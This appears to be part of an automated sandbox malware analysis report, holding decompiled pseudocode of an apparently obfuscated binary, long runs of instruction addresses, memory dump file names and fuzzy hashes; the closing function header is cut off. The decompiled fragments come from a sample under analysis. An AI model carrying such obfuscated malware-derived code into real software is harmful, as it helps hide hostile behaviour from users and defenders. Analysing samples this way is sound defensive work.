																												goto L154;
																											}
																											_v373 = _v85 & 0x000000ff;
																											_v380 = _v84;
																											_v384 = _v373 & 0x000000ff;
																											_v388 = _v380 - 0x43368089;
																											_v1732 = _v384 + _v388 - (_v384 & _v388) + (_v384 & _v388);
																											_v101 = _v1732 - 0x41;
																											goto L153;
																										}
																										_v357 = _v85 & 0x000000ff;
																										_v364 = _v84;
																										_v368 = _v357 & 0x000000ff;
																										_v372 = _v364 - 0x6917e15f;
																										_v1736 = _v368 + _v372 - (_v368 & _v372) + (_v368 & _v372);
																										_v101 = _v1736 - 0x67;
																										goto L152;
																									}
																									_v341 = _v85 & 0x000000ff;
																									_v348 = _v84;
																									_v352 = _v341 & 0x000000ff;
																									_v356 = _v348 + 0x7106bdcb;
																									_v1740 = _v352 + _v356 - (_v352 & _v356) + (_v352 & _v356);
																									_v101 = _v1740 + 0x73;
																									goto L150;
																								}
																								_v325 = _v85 & 0x000000ff;
																								_v332 = _v84;
																								_v336 = _v325 & 0x000000ff;
																								_v340 = _v332 + 0x4b255cf5;
																								_v1744 = _v336 + _v340 - (_v336 & _v340) + (_v336 & _v340);
																								_v101 = _v1744 + 0x4d;
																								goto L149;
																							}
																							_v309 = _v85 & 0x000000ff;
																							_v316 = _v84;
																							_v320 = _v309 & 0x000000ff;
																							_v324 = _v316 + 0x2543fc1f;
																							_v1748 = _v320 + _v324 - (_v320 & _v324) + (_v320 & _v324);
																							_v101 = _v1748 + 0x27;
																							goto L148;
																						}
																						_v293 = _v85 & 0x000000ff;
																						_v300 = _v84;
																						_v304 = _v293 & 0x000000ff;
																						_v308 = _v300 - 0x9d64b7;
																						_v1752 = _v304 + _v308 - (_v304 & _v308) + (_v304 & _v308);
																						_v101 = _v1752 + 1;
																						goto L146;
																					}
																					_v277 = _v85 & 0x000000ff;
																					_v284 = _v84;
																					_v288 = _v277 & 0x000000ff;
																					_v292 = _v284 - 0x267ec58d;
																					_v1756 = _v288 + _v292 - (_v288 & _v292) + (_v288 & _v292);
																					_v101 = _v1756 - 0x25;
																					goto L145;
																				}
																				_v261 = _v85 & 0x000000ff;
																				_v268 = _v84;
																				_v272 = _v261 & 0x000000ff;
																				_v276 = _v268 - 0x4c602663;
																				_v1760 = _v272 + _v276 - (_v272 & _v276) + (_v272 & _v276);
																				_v101 = _v1760 - 0x4b;
																				goto L144;
																			}
																			_v245 = _v85 & 0x000000ff;
																			_v252 = _v84;
																			_v256 = _v245 & 0x000000ff;
																			_v260 = _v252 - 0x72418739;
																			_v1764 = _v256 + _v260 - (_v256 & _v260) + (_v256 & _v260);
																			_v101 = _v1764 - 0x71;
																			goto L78;
																		}
																		_t2169 = _v72 + 0x17687e4;
																		L217:
																		_v1952 =  *_t2169;
																		L0048B7E0(0x5299c0); // executed
																		 *__imp__GetCurrentProcessorNumber();
																		E00448D40( &_v1468);
																		_v1952 = 0x76921;
																		 *((intOrPtr*)(_t5103 - 4)) = 0xc56bc8;
																		E00448D60( &_v1468, __eflags); // executed
																		return 0;
																	}
																	_v229 = _v85 & 0x000000ff;
																	_v236 = _v84;
																	_v240 = _v229 & 0x000000ff;
																	_v244 = _v236 + 0x67dd17f1;
																	_v1768 = _v240 + _v244 - (_v240 & _v244) + (_v240 & _v244);
																	_v101 = _v1768 + 0x69;
																	goto L144;
																}
																_v213 = _v85 & 0x000000ff;
																_v220 = _v84;
																_v224 = _v213 & 0x000000ff;
																_v228 = _v220 + 0x41fbb71b;
																_v1772 = _v224 + _v228 - (_v224 & _v228) + (_v224 & _v228);
																_v101 = _v1772 + 0x43;
																goto L145;
															}
															_v197 = _v85 & 0x000000ff;
															_v204 = _v84;
															_v208 = _v197 & 0x000000ff;
															_v212 = _v204 + 0x1c1a5645;
															_v1776 = _v208 + _v212 - (_v208 & _v212) + (_v208 & _v212);
															_v101 = _v1776 + 0x1d;
															goto L146;
														}
														_v181 = _v85 & 0x000000ff;
														_v188 = _v84;
														_v192 = _v181 & 0x000000ff;
														_v196 = _v188 - 0x9c70a91;
														_v1780 = _v192 + _v196 - (_v192 & _v196) + (_v192 & _v196);
														_v101 = _v1780 - 9;
														goto L148;
													}
													_v165 = _v85 & 0x000000ff;
													_v172 = _v84;
													_v176 = _v165 & 0x000000ff;
													_v180 = _v172 - 0x2fa86b67;
													_v1784 = _v176 + _v180 - (_v176 & _v180) + (_v176 & _v180);
													_v101 = _v1784 - 0x2f;
													goto L149;
												}
												_v149 = _v85 & 0x000000ff;
												_v156 = _v84;
												_v160 = _v149 & 0x000000ff;
												_v164 = _v156 - 0x5589cc3d;
												_v1788 = _v160 + _v164 - (_v160 & _v164) + (_v160 & _v164);
												_v101 = _v1788 - 0x55;
												goto L150;
											}
											_v133 = _v85 & 0x000000ff;
											_v140 = _v84;
											_v144 = _v133 & 0x000000ff;
											_v148 = _v140 - 0x7b6b2d13;
											_v1792 = _v144 + _v148 - (_v144 & _v148) + (_v144 & _v148);
											_v101 = _v1792 - 0x7b;
											goto L152;
										}
										_v117 = _v85 & 0x000000ff;
										_v124 = _v84;
										_v128 = _v117 & 0x000000ff;
										_v132 = _v124 + 0x5eb37217;
										_v1796 = _v128 + _v132 - (_v128 & _v132) + (_v128 & _v132);
										_v101 = _v1796 + 0x5f;
										goto L153;
									}
									_v102 = _v85 & 0x000000ff;
									_v108 = _v84;
									_v112 = _v102 & 0x000000ff;
									_v116 = _v108 + 0x38d21141;
									_v1800 = _v112 + _v116 - (_v112 & _v116) + (_v112 & _v116);
									_v101 = _v1800 + 0x39;
									goto L154;
								}
								_v86 = _v85 & 0x000000ff;
								_v92 = _v84;
								_v96 = _v86 & 0x000000ff;
								_v100 = _v92 + 0x12f0b06b;
								_v1804 = _v96 + _v100 - (_v96 & _v100) + (_v96 & _v100);
								_v101 = _v1804 + 0x13;
								goto L57;
							}
							_t2169 = _v72 + 0x127384f;
							goto L217;
						}
						_t2169 = _v72;
						goto L217;
					}
				}
			}

0x00405b66
0x00405b66
0x00405b6e
0x00405b6f
0x00405b70
0x00405b76
0x00405b7b
0x00405b89
0x00405b94
0x00405b9b
0x00405b9d
0x00405b9d
0x00405b8b
0x00405b8b
0x00405b8b
0x00405bab
0x00405bb6
0x00405bbd
0x00405bbf
0x00405bbf
0x00405bad
0x00405bad
0x00405bad
0x00405bc6
0x00405bd4
0x00405bdf
0x00405be6
0x00405be8
0x00405be8
0x00405bd6
0x00405bd6
0x00405bd6
0x00405bef
0x00405bfd
0x00405bff
0x00405bff
0x00405c0d
0x00405c0f
0x00405c0f
0x00405c1d
0x00405c1f
0x00405c1f
0x00405c26
0x00405c2a
0x00405c2e
0x00405c30
0x00405c37
0x00000000
0x00405c37
0x00405c3d
0x00405c41
0x00405c41
0x00405c45
0x00000000
0x00000000
0x00405c47
0x00405c4e
0x00405c4e
0x00405c54
0x00405c5b
0x00405c5d
0x00405c5d
0x00405c64
0x00405c6b
0x00405c72
0x00405c79
0x00405c7d
0x00405c7d
0x00405c81
0x00000000
0x00000000
0x00405c83
0x00405c8a
0x00405c8a
0x00405c90
0x00405c9a
0x00405ca0
0x00405cb0
0x00405cb2
0x00405cb9
0x00405cc3
0x00405cc6
0x00405ccb
0x00405ccb
0x00405cce
0x00405cd1
0x00405cd1
0x00405ce3
0x00405ce6
0x00405cfc
0x00405d11
0x00405d14
0x00405d2a
0x00405d3f
0x00405d42
0x00405d58
0x00405d6d
0x00405d70
0x00405d84
0x00405d84
0x00405d86
0x00405d92
0x00405d95
0x00405d95
0x00405d9c
0x00405da6
0x00405da9
0x00405da9
0x00405db0
0x00405db0
0x00405db0
0x00405db4
0x00000000
0x00000000
0x00405dc0
0x00405dc0
0x00405dc5
0x00405dc8
0x00405dc8
0x00405dcb
0x00405dce
0x00000000
0x00000000
0x00405dea
0x00405dea
0x00405df5
0x00405dfd
0x00405dff
0x00405e61
0x00405e61
0x00405e66
0x00405e6f
0x00405e71
0x00405ed3
0x00405ed3
0x00405ee5
0x00405eee
0x00405ef0
0x00405f52
0x00405f52
0x00405f74
0x00405f7d
0x00405f7f
0x00405ff9
0x00405ff9
0x0040600b
0x00406014
0x00406016
0x00406096
0x00406096
0x004060ba
0x004060c3
0x004060c5
0x00406145
0x00406145
0x0040616a
0x00406173
0x00406175
0x004061f5
0x004061f5
0x00406221
0x0040622a
0x0040622c
0x004062ac
0x004062ac
0x004062be
0x004062c7
0x004062c9
0x00406349
0x00406349
0x0040636c
0x00406375
0x00406377
0x004063e1
0x004063e1
0x004063e4
0x004063e7
0x00000000
0x00000000
0x00406403
0x00406403
0x0040640e
0x00406416
0x00406418
0x00406498
0x00406498
0x0040649d
0x004064a6
0x004064a8
0x00406528
0x00406528
0x0040653a
0x00406543
0x00406545
0x004065c5
0x004065c5
0x004065e7
0x004065f0
0x004065f2
0x00406672
0x00406672
0x00406684
0x0040668d
0x0040668f
0x0040670f
0x0040670f
0x00406733
0x0040673c
0x0040673e
0x004067be
0x004067be
0x004067e3
0x004067ec
0x004067ee
0x0040686e
0x0040686e
0x0040689a
0x004068a3
0x004068a5
0x00406925
0x00406925
0x00406937
0x00406940
0x00406942
0x004069c2
0x004069c2
0x004069e5
0x004069ee
0x004069f0
0x00406a5a
0x00406a5a
0x00406a62
0x00406a65
0x00000000
0x00000000
0x00000000
0x00000000
0x004081ca
0x004081ca
0x004081e0
0x004081e0
0x004081eb
0x004081f3
0x004081f5
0x00000000
0x00000000
0x00408275
0x00408275
0x00408280
0x00408288
0x0040828a
0x0040830a
0x0040830a
0x00408315
0x0040831d
0x0040831f
0x0040839f
0x0040839f
0x004083aa
0x004083b2
0x004083b4
0x00408434
0x00408434
0x0040843f
0x00408447
0x00408449
0x004084c9
0x004084c9
0x004084d4
0x004084dc
0x004084de
0x0040855e
0x0040855e
0x00408569
0x00408571
0x00408573
0x004085f3
0x004085f3
0x004085fe
0x00408606
0x00408608
0x00408688
0x00408688
0x00408693
0x0040869b
0x0040869d
0x0040871d
0x0040871d
0x00408728
0x00408730
0x00408732
0x00000000
0x00000000
0x0040874e
0x0040875b
0x00408774
0x00408781
0x0040879a
0x0040879a
0x004087a5
0x004087ad
0x004087af
0x0040882f
0x0040882f
0x0040883a
0x00408842
0x00408844
0x004088c4
0x004088c4
0x004088cf
0x004088d7
0x004088d9
0x00408959
0x00408959
0x00408964
0x0040896c
0x0040896e
0x004089ee
0x004089ee
0x004089f9
0x00408a01
0x00408a03
0x00408a83
0x00408a83
0x00408a8e
0x00408a96
0x00408a98
0x00408b18
0x00408b18
0x00408b23
0x00408b2b
0x00408b2d
0x00408bad
0x00408bad
0x00408bb8
0x00408bc0
0x00408bc2
0x00408c42
0x00408c42
0x00408c4d
0x00408c55
0x00408c57
0x00408cd7
0x00408cd7
0x00408ce2
0x00408cea
0x00408cec
0x00000000
0x00000000
0x00408d08
0x00408d15
0x00408d2e
0x00408d3b
0x00408d54
0x00408d54
0x00408d5f
0x00408d67
0x00408d69
0x00408de9
0x00408de9
0x00408df4
0x00408dfc
0x00408dfe
0x00408e7e
0x00408e7e
0x00408e89
0x00408e91
0x00408e93
0x00408f13
0x00408f13
0x00408f1e
0x00408f26
0x00408f28
0x00408fa8
0x00408fa8
0x00408fb3
0x00408fbb
0x00408fbd
0x0040903d
0x0040903d
0x00409048
0x00409050
0x00409052
0x004090d2
0x004090d2
0x004090dd
0x004090e5
0x004090e7
0x00409167
0x00409167
0x00409172
0x0040917a
0x0040917c
0x004091fc
0x004091fc
0x00409207
0x0040920f
0x00409211
0x00409291
0x00409291
0x0040929c
0x004092a4
0x004092a6
0x004092c2
0x004092cf
0x004092e8
0x004092e8
0x004092f5
0x004092f5
0x00000000
0x004092a6
0x00409217
0x00409220
0x0040922d
0x0040923e
0x00409264
0x00409273
0x00407ebd
0x00407ec1
0x00407eca
0x00407ed7
0x00407ee8
0x00407f0e
0x00407f23
0x00407f23
0x00407f25
0x00407f27
0x00407f27
0x00407f27
0x00407f27
0x00407f2b
0x00407f2b
0x00409311
0x00409311
0x00000000
0x00409311
0x00409182
0x0040918b
0x00409198
0x004091a9
0x004091cf
0x004091de
0x00000000
0x004091de
0x004090ed
0x004090f6
0x00409103
0x00409114
0x0040913a
0x00409149
0x00000000
0x00409149
0x00409058
0x00409061
0x0040906e
0x0040907f
0x004090a5
0x004090b4
0x00407fa5
0x00407fa9
0x00407fb2
0x00407fbf
0x00407fd0
0x00407ff6
0x0040800d
0x00408026
0x00408026
0x00408028
0x0040802a
0x0040802d
0x0040802d
0x0040802d
0x00408030
0x00408030
0x00408038
0x00000000
0x00408038
0x00408fc3
0x00408fcc
0x00408fd9
0x00408fea
0x00409010
0x0040901f
0x00000000
0x0040901f
0x00408f2e
0x00408f37
0x00408f44
0x00408f55
0x00408f7b
0x00408f8a
0x00000000
0x00408f8a
0x00408e99
0x00408ea2
0x00408eaf
0x00408ec0
0x00408ee6
0x00408ef5
0x004080b1
0x004080b5
0x004080be
0x004080cb
0x004080dc
0x00408102
0x00408119
0x0040811b
0x0040812d
0x00408133
0x00408133
0x00408133
0x00408136
0x0040813a
0x00408143
0x00408150
0x00408161
0x00408187
0x0040819e
0x004081a0
0x004081a4
0x004081ab
0x004081ab
0x004081ab
0x004081ae
0x004081bc
0x004081c2
0x00000000
0x004081c2
0x00408e04
0x00408e0d
0x00408e1a
0x00408e2b
0x00408e51
0x00408e60
0x00000000
0x00408e60
0x00408d6f
0x00408d78
0x00408d85
0x00408d96
0x00408dbc
0x00408dcb
0x00000000
0x00408dcb
0x00408c5d
0x00408c66
0x00408c73
0x00408c84
0x00408caa
0x00408cb9
0x00407e43
0x00407e4f
0x00000000
0x00407e4f
0x00408bc8
0x00408bd1
0x00408bde
0x00408bef
0x00408c15
0x00408c24
0x00407e1b
0x00407e31
0x00407e31
0x00407e33
0x00407e3f
0x00407e41
0x00407e5b
0x00407e64
0x00407e71
0x00407e82
0x00407ea8
0x00407eb7
0x00407eba
0x00407eba
0x00407eba
0x00000000
0x00407eba
0x00000000
0x00407e41
0x00408b33
0x00408b3c
0x00408b49
0x00408b5a
0x00408b80
0x00408b8f
0x00407782
0x00407798
0x00407798
0x0040779a
0x004077a6
0x004077a8
0x00407f38
0x00407f41
0x00407f4e
0x00407f5f
0x00407f85
0x00407f94
0x00407fa2
0x00407fa2
0x00407fa2
0x00000000
0x00407fa2
0x004077c4
0x004077c4
0x004077cf
0x004077d7
0x004077d9
0x00407859
0x00407859
0x0040785e
0x00407867
0x00407869
0x004078e9
0x004078e9
0x004078fb
0x00407904
0x00407906
0x00407986
0x00407986
0x004079a8
0x004079b1
0x004079b3
0x00407a33
0x00407a33
0x00407a45
0x00407a4e
0x00407a50
0x00407ad0
0x00407ad0
0x00407af4
0x00407afd
0x00407aff
0x00407b7f
0x00407b7f
0x00407ba4
0x00407bad
0x00407baf
0x00407c2f
0x00407c2f
0x00407c5b
0x00407c64
0x00407c66
0x00407ce6
0x00407ce6
0x00407cf8
0x00407d01
0x00407d03
0x00407d83
0x00407d83
0x00407da6
0x00407daf
0x00407db1
0x00000000
0x00000000
0x00407db7
0x00407dc0
0x00407dcd
0x00407dde
0x00407e04
0x00407e13
0x00000000
0x00407e13
0x00407d09
0x00407d12
0x00407d1f
0x00407d30
0x00407d56
0x00407d65
0x00000000
0x00407d65
0x00407c6c
0x00407c75
0x00407c82
0x00407c93
0x00407cb9
0x00407cc8
0x00000000
0x00407cc8
0x00407bb5
0x00407bbe
0x00407bcb
0x00407bdc
0x00407c02
0x00407c11
0x00000000
0x00407c11
0x00407b05
0x00407b0e
0x00407b1b
0x00407b2c
0x00407b52
0x00407b61
0x00000000
0x00407b61
0x00407a56
0x00407a5f
0x00407a6c
0x00407a7d
0x00407aa3
0x00407ab2
0x00000000
0x00407ab2
0x004079b9
0x004079c2
0x004079cf
0x004079e0
0x00407a06
0x00407a15
0x00000000
0x00407a15
0x0040790c
0x00407915
0x00407922
0x00407933
0x00407959
0x00407968
0x00000000
0x00407968
0x0040786f
0x00407878
0x00407885
0x00407896
0x004078bc
0x004078cb
0x00000000
0x004078cb
0x004077df
0x004077e8
0x004077f5
0x00407806
0x0040782c
0x0040783b
0x00000000
0x0040783b
0x00408a9e
0x00408aa7
0x00408ab4
0x00408ac5
0x00408aeb
0x00408afa
0x004070d8
0x004070e0
0x004070fc
0x004070fc
0x004070fe
0x0040710d
0x0040710f
0x00408044
0x0040804d
0x0040805a
0x0040806b
0x00408091
0x004080a0
0x004080ae
0x004080ae
0x004080ae
0x00000000
0x004080ae
0x0040712b
0x0040712b
0x00407136
0x0040713e
0x00407140
0x004071c0
0x004071c0
0x004071c5
0x004071ce
0x004071d0
0x00407250
0x00407250
0x00407262
0x0040726b
0x0040726d
0x004072ed
0x004072ed
0x0040730f
0x00407318
0x0040731a
0x0040739a
0x0040739a
0x004073ac
0x004073b5
0x004073b7
0x00407437
0x00407437
0x0040745b
0x00407464
0x00407466
0x004074e6
0x004074e6
0x0040750b
0x00407514
0x00407516
0x00407596
0x00407596
0x004075c2
0x004075cb
0x004075cd
0x0040764d
0x0040764d
0x0040765f
0x00407668
0x0040766a
0x004076ea
0x004076ea
0x0040770d
0x00407716
0x00407718
0x00000000
0x00000000
0x0040771e
0x00407727
0x00407734
0x00407745
0x0040776b
0x0040777a
0x00000000
0x0040777a
0x00407670
0x00407679
0x00407686
0x00407697
0x004076bd
0x004076cc
0x00000000
0x004076cc
0x004075d3
0x004075dc
0x004075e9
0x004075fa
0x00407620
0x0040762f
0x00000000
0x0040762f
0x0040751c
0x00407525
0x00407532
0x00407543
0x00407569
0x00407578
0x00000000
0x00407578
0x0040746c
0x00407475
0x00407482
0x00407493
0x004074b9
0x004074c8
0x00000000
0x004074c8
0x004073bd
0x004073c6
0x004073d3
0x004073e4
0x0040740a
0x00407419
0x00000000
0x00407419
0x00407320
0x00407329
0x00407336
0x00407347
0x0040736d
0x0040737c
0x00000000
0x0040737c
0x00407273
0x0040727c
0x00407289
0x0040729a
0x004072c0
0x004072cf
0x00000000
0x004072cf
0x004071d6
0x004071df
0x004071ec
0x004071fd
0x00407223
0x00407232
0x00000000
0x00407232
0x00407146
0x0040714f
0x0040715c
0x0040716d
0x00407193
0x004071a2
0x00000000
0x004071a2
0x00408a09
0x00408a12
0x00408a1f
0x00408a30
0x00408a56
0x00408a65
0x00000000
0x00408a65
0x00408974
0x0040897d
0x0040898a
0x0040899b
0x004089c1
0x004089d0
0x00000000
0x004089d0
0x004088df
0x004088e8
0x004088f5
0x00408906
0x0040892c
0x0040893b
0x00000000
0x0040893b
0x0040884a
0x00408853
0x00408860
0x00408871
0x00408897
0x004088a6
0x00405da9
0x00000000
0x00405da9
0x004087b5
0x004087be
0x004087cb
0x004087dc
0x00408802
0x00408811
0x00000000
0x00408811
0x004086a3
0x004086ac
0x004086b9
0x004086ca
0x004086f0
0x004086ff
0x00000000
0x004086ff
0x0040860e
0x00408617
0x00408624
0x00408635
0x0040865b
0x0040866a
0x00000000
0x0040866a
0x00408579
0x00408582
0x0040858f
0x004085a0
0x004085c6
0x004085d5
0x00000000
0x004085d5
0x004084e4
0x004084ed
0x004084fa
0x0040850b
0x00408531
0x00408540
0x00000000
0x00408540
0x0040844f
0x00408458
0x00408465
0x00408476
0x0040849c
0x004084ab
0x00000000
0x004084ab
0x004083ba
0x004083c3
0x004083d0
0x004083e1
0x00408407
0x00408416
0x00000000
0x00408416
0x00408325
0x0040832e
0x0040833b
0x0040834c
0x00408372
0x00408381
0x00000000
0x00408381
0x00408290
0x00408299
0x004082a6
0x004082b7
0x004082dd
0x004082ec
0x00000000
0x004082ec
0x004081fb
0x00408204
0x00408211
0x00408222
0x00408248
0x00408257
0x00000000
0x00408257
0x00406a81
0x00406a81
0x00406a8c
0x00406a94
0x00406a96
0x00406b16
0x00406b16
0x00406b1b
0x00406b24
0x00406b26
0x00406ba6
0x00406ba6
0x00406bb8
0x00406bc1
0x00406bc3
0x00406c43
0x00406c43
0x00406c65
0x00406c6e
0x00406c70
0x00406cf0
0x00406cf0
0x00406d02
0x00406d0b
0x00406d0d
0x00406d8d
0x00406d8d
0x00406db1
0x00406dba
0x00406dbc
0x00406e3c
0x00406e3c
0x00406e61
0x00406e6a
0x00406e6c
0x00406eec
0x00406eec
0x00406f18
0x00406f21
0x00406f23
0x00406fa3
0x00406fa3
0x00406fb5
0x00406fbe
0x00406fc0
0x00407040
0x00407040
0x00407063
0x0040706c
0x0040706e
0x00000000
0x00000000
0x00407074
0x0040707d
0x0040708a
0x0040709b
0x004070c1
0x004070d0
0x00000000
0x004070d0
0x00406fc6
0x00406fcf
0x00406fdc
0x00406fed
0x00407013
0x00407022
0x00000000
0x00407022
0x00406f29
0x00406f32
0x00406f3f
0x00406f50
0x00406f76
0x00406f85
0x00000000
0x00406f85
0x00406e72
0x00406e7b
0x00406e88
0x00406e99
0x00406ebf
0x00406ece
0x00000000
0x00406ece
0x00406dc2
0x00406dcb
0x00406dd8
0x00406de9
0x00406e0f
0x00406e1e
0x00000000
0x00406e1e
0x00406d13
0x00406d1c
0x00406d29
0x00406d3a
0x00406d60
0x00406d6f
0x00000000
0x00406d6f
0x00406c76
0x00406c7f
0x00406c8c
0x00406c9d
0x00406cc3
0x00406cd2
0x00000000
0x00406cd2
0x00406bc9
0x00406bd2
0x00406bdf
0x00406bf0
0x00406c16
0x00406c25
0x00000000
0x00406c25
0x00406b2c
0x00406b35
0x00406b42
0x00406b53
0x00406b79
0x00406b88
0x00000000
0x00406b88
0x00406a9c
0x00406aa5
0x00406ab2
0x00406ac3
0x00406ae9
0x00406af8
0x00000000
0x00406af8
0x004069f6
0x004069ff
0x00406a0c
0x00406a1d
0x00406a43
0x00406a52
0x00000000
0x00406a52
0x00406948
0x00406951
0x0040695e
0x0040696f
0x00406995
0x004069a4
0x00000000
0x004069a4
0x004068ab
0x004068b4
0x004068c1
0x004068d2
0x004068f8
0x00406907
0x00000000
0x00406907
0x004067f4
0x004067fd
0x0040680a
0x0040681b
0x00406841
0x00406850
0x00000000
0x00406850
0x00406744
0x0040674d
0x0040675a
0x0040676b
0x00406791
0x004067a0
0x00000000
0x004067a0
0x00406695
0x0040669e
0x004066ab
0x004066bc
0x004066e2
0x004066f1
0x00000000
0x004066f1
0x004065f8
0x00406601
0x0040660e
0x0040661f
0x00406645
0x00406654
0x00000000
0x00406654
0x0040654b
0x00406554
0x00406561
0x00406572
0x00406598
0x004065a7
0x00000000
0x004065a7
0x004064ae
0x004064b7
0x004064c4
0x004064d5
0x004064fb
0x0040650a
0x00000000
0x0040650a
0x0040641e
0x00406427
0x00406434
0x00406445
0x0040646b
0x0040647a
0x00000000
0x0040647a
0x00409300
0x0040931d
0x0040931f
0x00409327
0x00409334
0x0040933e
0x00409349
0x00409351
0x0040935a
0x00409372
0x00409372
0x0040637d
0x00406386
0x00406393
0x004063a4
0x004063ca
0x004063d9
0x00000000
0x004063d9
0x004062cf
0x004062d8
0x004062e5
0x004062f6
0x0040631c
0x0040632b
0x00000000
0x0040632b
0x00406232
0x0040623b
0x00406248
0x00406259
0x0040627f
0x0040628e
0x00000000
0x0040628e
0x0040617b
0x00406184
0x00406191
0x004061a2
0x004061c8
0x004061d7
0x00000000
0x004061d7
0x004060cb
0x004060d4
0x004060e1
0x004060f2
0x00406118
0x00406127
0x00000000
0x00406127
0x0040601c
0x00406025
0x00406032
0x00406043
0x00406069
0x00406078
0x00000000
0x00406078
0x00405f85
0x00405f8b
0x00405f95
0x00405fa6
0x00405fcc
0x00405fdb
0x00000000
0x00405fdb
0x00405ef6
0x00405efc
0x00405f03
0x00405f0e
0x00405f25
0x00405f34
0x00000000
0x00405f34
0x00405e77
0x00405e7d
0x00405e84
0x00405e8f
0x00405ea6
0x00405eb5
0x00000000
0x00405eb5
0x00405e05
0x00405e0b
0x00405e12
0x00405e1d
0x00405e34
0x00405e43
0x00000000
0x00405e43
0x0040930a
0x00000000
0x0040930a
0x0040931a
0x00000000
0x0040931a
0x00405da9

Strings

>, xrefs: 00405BB6

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID:
String ID: >
API String ID: 0-2042671398
Opcode ID: de9017ab93ee34b015caa0e078edd3e52a9c4473f8fbb6fe5f55242c81aa865b
Instruction ID: 2d9614bcc9216720849d67148b8f392a4dd77e4241be0eee06049238208d8c1c
Opcode Fuzzy Hash: de9017ab93ee34b015caa0e078edd3e52a9c4473f8fbb6fe5f55242c81aa865b
Instruction Fuzzy Hash: 7E73C571E052688FCB61CB6CCD8179DBBF2AF89204F1881E6A44CE7385D6359E96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0042F510 Relevance: 1.7, APIs: 1, Instructions: 442
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d7ce21949c5cd1343475afd22cc102d3b16aa1e6ebd0e994116a2c291e4fe9d
Instruction ID: 54bb0ccbb169a0ae2b47fe18272b6dd723aa470bae0394c482104c8ce0eaae6e
Opcode Fuzzy Hash: 5d7ce21949c5cd1343475afd22cc102d3b16aa1e6ebd0e994116a2c291e4fe9d
Instruction Fuzzy Hash: F8F143B0B042119FC7009F29E48031AB7F1AF48318FD5897EE8999B346D77DD8468F99

Uniqueness

Uniqueness Score: -1.00%

Function 00448B90 Relevance: 1.4, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 256902e9a90ba4681e01cec3f47ad3c891be74f6f7d80d66eabd411727713ca5
Instruction ID: 35e01da9e1a11127df9f5ece7cb27cb4566cd6214a31009890ea602c1ae92ab1
Opcode Fuzzy Hash: 256902e9a90ba4681e01cec3f47ad3c891be74f6f7d80d66eabd411727713ca5
Instruction Fuzzy Hash: 6B41DFB07066018FE724AFA9E8C073AB7A0FF66304F54406EE5018B355EF7898458B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401734 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 306
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 19%

			E00401734(char _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, signed int _a32, signed int _a36, intOrPtr _a40, char* _a44, char _a48, short _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a72, intOrPtr _a76, char _a80, intOrPtr _a88, signed int _a92, signed int _a96, char _a104, intOrPtr _a108, intOrPtr _a112, signed int _a116) {
				void* _v12;
				signed int _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v29;
				intOrPtr _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
